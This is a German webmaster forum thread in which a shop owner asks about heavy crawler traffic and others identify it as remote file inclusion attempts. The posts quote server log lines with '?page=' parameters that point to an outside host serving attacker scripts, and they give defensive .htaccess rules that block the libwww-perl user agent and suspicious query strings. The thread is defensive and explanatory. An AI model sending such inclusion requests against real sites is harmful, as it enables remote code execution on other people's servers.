ABAKUS

Hallo Abakus Forum,

als treuer Mitleser möchte ich einmal eine Frage stellen. Kennt jemand diese IP 77.86.80.233 ? Diese IP / Crawler wie auch immer verursacht schon seit ca. 12 Stunden Traffic auf meiner HP. Mehr als 23000 Zugriffe innerhalb dieser Zeit.

Per htaccess hab ich diese IP erst einmal ausgesperrt.

Was steckt dahinter?

Danke im voraus

getpos sagt, die IP ist aus UK, aus der Stadt Hull.

schau mal nach, ob dir das hilft.
https://meineipadresse.de/html/geolocation_2.php

no-seo,

danke für die schnelle Antwort. Aber wirklich weiter hilft die leider nicht.
Da ich im Shop ca. 100 Artikel habe kann ich mir dieses nicht erklären. Die IP wechselt und wieder das gleiche Spiel.

Was mir aber auch noch innerhalb der Logs aufgefallen ist: /onlineshop/?page=https://rubi2.t35.com/tanii%3f%3f%3f%3f%3f

Noch ne Idee?

Vielen Dank

scheint wohl ein virus zu sein wenn man sich die kommentare zu t35.com oder andere seiten ansieht auf dehnen "rubi2.t35.com" vorkommt. vielleicht auch "nur" ein referer-spammer...

Danke, oder auch ein Hosting Anbieter...

Aber zurück zu meiner Frage, hat noch wer ne Idee dazu?

Zu der oben genannten IP:

% Information related to '77.86.64.0 - 77.86.95.255'

inetnum: 77.86.64.0 - 77.86.95.255
netname: ADSLPOOL-KCOM
country: GB
descr: Karoo ADSL
admin-c: KR2955-RIPE
tech-c: KR2955-RIPE
rev-srv: ibex.kcom.com
rev-srv: bison.kcom.com
status: ASSIGNED PA
remarks: Send abuse reports to abuse@kcom.com ONLY
mnt-by: KINGSTON-MNT
source: RIPE # Filtered


Kommen die anderen Spider aus dem selben Netzblock? Wie meldet sich der Crawler (eventuell robots.txt konform und somit zu sperren). Ansonsten wenn er sich immer gleich "anmeldet" das ganze schon beim anfragen des Headers blocken bzw. auf eine 403 weiterleiten.

Das sieht mir nach nem Angriff aus...
Du hast in deinen logs stehen
/onlineshop/?page=https://rubi2.t35.com/tanii%3f%3f%3f%3f%3f

ich nehme an du hast nen php script das über den parameter "page" angegeben bekommt, was betrachtet werden soll.
Check unbedingt ob dafür nen include oder ähnliches verwendet wird - sonst hast du da schnell ne remove execution lücke drinn.

melittamann,

Kommen die anderen Spider aus dem selben Netzblock? Derzeit nicht - ist relativ ruhig.

Hier mal ein Auszug der LOG:

• 212.95.46.248 - - [21/Nov/2008:21:16:17 +0100] "GET //?page=https://rubi2.t35.com/tanii????? HTTP/1.1" 200 9690 "-" "libwww-perl/5.79"
  212.95.46.248 - - [21/Nov/2008:21:16:17 +0100] "GET /shop//?page=https://rubi2.t35.com/tanii????? HTTP/1.1" 301 378 "-" "libwww-perl/5.79"
  212.95.46.248 - - [21/Nov/2008:21:16:17 +0100] "GET /onlineshop/?page=https://rubi2.t35.com/tanii%3f%3f%3f%3f%3f HTTP/1.1" 200 38421 "-" "libwww-perl/5.79"
  85.25.137.22 - - [18/Nov/2008:00:45:08 +0100] "GET //?page=https://rubi2.t35.com/super-id.txt??? HTTP/1.1" 200 9690 "-" "libwww-perl/5.803"
  85.25.137.22 - - [18/Nov/2008:00:45:08 +0100] "GET /shop//?page=https://rubi2.t35.com/super-id.txt??? HTTP/1.1" 301 379 "-" "libwww-perl/5.803"

everflux,

ich denke mit dem Angriff hattest du wohl recht. Die o.g. Seite hatte als Sie noch verfügbar war eine Art FTP Verzeichnis, in diesem mit irgendeinem Quellcode und vielen Zeilenumbrüchen, sowie verschiedenen @adm,@admin... usw. Hät ich mal ein Abbild gemacht...

remove execution - jetzt hast du mich Von PHP Programmierung hab ich nur geringfügig Ahnung und das Shopsystem XTC sehr umfangreich, "rotwerd"

Anzumerken ist aber nochmals, das die IP 77.86.80.223 den ganzen Traffic verursacht hat.

• 77.86.80.223 - - [23/Nov/2008:15:03:39 +0100] "GET /onlineshop/category-/category-/category-/category-/category-/category-/category-/category-/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/templates/gambio/gambio/templates/gambio/templates/gambio/gm_dynamic.css.php HTTP/1.1" 200 21973 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

Und so ging das weiter..

hi Schlumpfpapa
besagte Ip versucht von ein anderen Seite ein Script nachzuladen und auf deiner
Seite auszuführen.

page=http ://rubi2.t35.com/super-id.txt???

solche Versuche, auch Code-Injektions werden sehr häufig mit dem UA libwww-perl
gestartet. Meine Logs sind voll davon!
Abfangen und abwehren kannst das über über die htaccess
in dem du den
UA libwww-perl sperrst

RewriteCond %{HTTP_USER_AGENT} libwww-perl
RewriteRule ^(.*)$ - [F,L]

Bewährt haben sich auch 2 Zeilen die den Query überwachen:

RewriteCond %{QUERY_STRING} http\: [OR]
RewriteCond %{QUERY_STRING} .txt?
RewriteRule ^(.*)$ - [F,L]

das kann man dann auch noch erweitern
.html?
je nachdem was versucht wird.
Bei einigen CMS-Modulen gibts aber Probleme damit wenn das Modul
Seiten per Iframe einbinden soll.

Hallo Cash,

danke , hab den Schlingel erst mal per htaccess ausgesperrt.
Nur was passiert mit den beiden Zeilen die den Query String überwachen?

Zum Verständnis: Würde das heißen, das keine Textdateien auf den Server aufgerufen werden können?

Nur mal laut gedacht:
Suma klopfen an - werden identifiziert z.b. als gokelbot - wenn ok dann dürfen die weiter.
Suma / Bösewichte die sich nicht zu erkennen geben, werden ausgesperrt????

Wenn nicht wie mache ich das den? Die müßte ich dann ja ebenfalls AUSSPERREN (EINSPERREN wär mir lieber )

hi Schlumpfpapa
Die Sperre über die IP wird nicht viel bringen weil es
eine der meist verbreiteten Hack/Code-Injektion Versuche ist.
Wenn du entsprechend viele Zugriffe auf deine Seite hast wird
sich die htaccess ganz schnell mit hunderten von IPs füllen und
du kann damit nur hinterher sperren. Sinnvoller ist es deshalb
den Hack-Versuch abzufangen

zum Verständnis
Libwww-perl ist ein Perl-Modul ich kenne keine brauchbare Suchmaschine
die damit auf deine Seite kommt.

die Zeile
RewriteCond %{QUERY_STRING} http\:
sperrt alles was eine zusätzliche Url per http: anfordert
also z.B.
http:// deine-domain.xyz/page=https://rubi2.t35.com/super-id.txt???

die Zeile
RewriteCond %{QUERY_STRING} .txt?
sperrt alles was eine .txt-Datei mit angehängtem ? anfordert
also z.B.
http:// deine-domain.xyz/page=https://rubi2.t35.com/super-id.txt???

wird eine einfache txt-datei von deinem Host aufgerufen
z.B.
http:// deine-domain.xyz/datei.txt
greift die Regel nicht!

man kann die Regel auch noch erweitern anhand deiner Logs

212.95.46.248 - - [21/Nov/2008:21:16:17 +0100] "GET //?page=https://rubi2.t35.com/tanii????? HTTP/1.1" 200 9690 "-" "libwww-perl/5.79"

z.B. auf
RewriteCond %{QUERY_STRING} ??

wobei das nur Sinn macht wenn du die Regel
RewriteCond %{QUERY_STRING} http\:
nicht benutzen kannst. (div. CMS-Module)

du kannst dir auch mal www.Bot-Trap.de ansehen
damit lässt sich viel Ungeziefer von der Seite fernhalten!

Hallo,

bei Shop Systemen empfehle ich Dir dringend Spidertrap
zu nutzen. Meist halten diese Crawler sich nicht an die
disallows in der robots.txt und stellen sich selber kalt.

https://www.spider-trap.de/

Gruß

Micha

@Cash

vielen Dank für die ausführliche Erklärung. Jetzt bin ich schlauer und werde die htaccess ergänzen.

@seonewbie

auch dir meinen Dank, werde ich ausprobieren.

Gruß

Hallo, ich habe das glcieh Problem mit einem Spider aus Spanien. Was genau muss in die htaccess Datei rein um die IP zu sperren?

@Vikingmate,

alles wichtige haben @Cash und @seonewbie doch hier bereits erläutert..

Gruß